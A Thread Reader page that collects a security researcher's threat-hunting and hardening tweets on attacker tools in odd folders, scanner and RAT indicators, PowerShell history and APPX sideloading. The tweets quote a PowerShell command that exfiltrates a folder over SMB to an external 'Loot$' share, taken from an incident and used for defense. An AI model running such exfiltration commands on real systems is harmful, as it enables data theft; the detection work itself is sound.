Tweet

@CrowdStrike

https://twitter.com/malmoeb/status/1514520454400253952

This Thread may be Removed Anytime!

Twitter may remove this content at anytime! Save it as PDF for later use!

More from @malmoeb

Stephan Berger

@malmoeb

Sep 25

1/ #ThreatHunting: Normal users (not developers) who have Python in their Music (!) directory? This screams TA 😅

In an investigation on a breached network, we discovered the following directory:

C:\Users\<user>\Music\WPy64-39100\python-3.9.10.amdMusic\WPy64-39100

2/ The funny thing is that the TA appended "Music" to the ordinary directory name "python-3.9.10.amd64" to make it look more legitimate?

In several directories, we found attack scripts (written in Python), including noPac.py

(github.com/Ridter/noPac)

3/ And the whole impacket suite.

(github.com/SecureAuthCorp…)

Monitoring or creating a baseline (which users are using Python) could be helpful here, or just monitoring from which paths Python is started (like in our example from the Music directory).

Read 5 tweets

Stephan Berger

@malmoeb

Sep 23

@TheDFIRReport

1/ #ThreatHunting:

In a compromised network, we saw the following request in the proxy logs:

www.advanced-ip-scanner[.]com/checkupdate.php?[..]

This scanner is trendy among ransomware groups and has been mentioned in reports by @TheDFIRReport, among others. [1] 🧵

2/ This HTTP request can now be used very well for an alert.

Or better, collect and monitor all your DNS logs, because a DNS request will still go out if the Advanced IP Scanner is run without an installation (portable version).

An excellent opportunity for detection.

3/ You can see the DNS request for the domain www.advanced-ip-scanner[.]com below.

Read 4 tweets

Stephan Berger

@malmoeb

Sep 17

1/ #ThreatHunting

Another one for the people who monitor PowerShell logs or command lines:

Copy-Item -Path "C:\Exfiltration" -Destination "\\X.X.X.X\Loot$" -Recurse

This exfiltration method is from a recent IR case. No need to install anything, just living off the land. 😎

2/ Of course, outgoing SMB traffic must be allowed on the firewall(s).

#Hardening: Using Velociraptor's PowerShell Hunt, we can run the following command on defined (or all) hosts on the network:

Copy-Item -Path "C:\Temp\" -Destination "\142.93.X.X\c$"

3/ On our specified endpoint on the Internet (with the
-Destination parameter), we can capture incoming SMB connections (again, if SMB is not blocked on the FW):

# tcpdump -i eth0 port 445 -nn
IP X.X.X.20.64516 > 142.93.X.X.445

Read 4 tweets

Stephan Berger

@malmoeb

Aug 21

@0xdf_

/1 #Hardening:

@0xdf_ finds credentials in the ConsoleHost_history.txt file in the latest walkthrough of the #HTB machine Timelapse. [1]

In our Compromise Assessments, we regularly audit the PowerShell history to find (stored) credentials in this file. 🧵

#CyberSecurity

@Velocidex

2/ Hunting for credentials in the PowerShell history is quickly done with @Velocidex Velociraptor.

We can get the file's entire content from the hosts or search specifically for keywords within the file.

3/ The content of this file (the PowerShell history), is not only interesting for searching stored credentials in it but also an excellent forensic artifact.

In the case of a CA, we can specifically search for (older) traces of TAs (Invoke-commands, downloading of tools/code..)

Read 6 tweets

Stephan Berger

@malmoeb

Aug 19

1/ #Hardening:

If the Windows App sideloading feature is enabled, users can also install APPX packages not originating not from the Microsoft Store, ideal for distributing malware with these packages 🤯[1],[2]

🧵 #CyberSecurity

2/ We can search our network for systems with enabled sideloading:

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock".

3/
AllowAllTrustedApps:

This value can also be set via GPO if a company wants to distribute trusted line-of-business (LOB) apps that are not from the Windows Store.

However, these apps must still have a valid certificate chain; otherwise, the app will not be loaded.

Read 5 tweets

Stephan Berger

@malmoeb

Aug 17

1/ #ThreatHunting:

#QuasarRAT is another RAT we see from time to time in our IR cases and was also used against NATO facilities in March. [1]

We can hunt for

1⃣ The default port within the FW logs
2⃣Mutexes
3⃣User-Agent
4⃣Persistence mechanisms

🧵

@qualys

2/ @qualys has published an excellent paper ("Stealthy Quasar Evolving to Lead the RAT Race") about Quasar, where the whole builder and much more are described in detail. [2]

3/ In the client builder (which creates an executable which is used for the infection), the default port is pre-configured to 4782.

Read 12 tweets

Share this page!

Stephan Berger

People who liked this thread also liked...

Try unrolling a thread yourself!

More from @malmoeb

Stephan Berger

Stephan Berger

Stephan Berger

Stephan Berger

Stephan Berger

Stephan Berger

Did Thread Reader help you today?

Don't want to be a Premium member but still want to support us?

Send Email!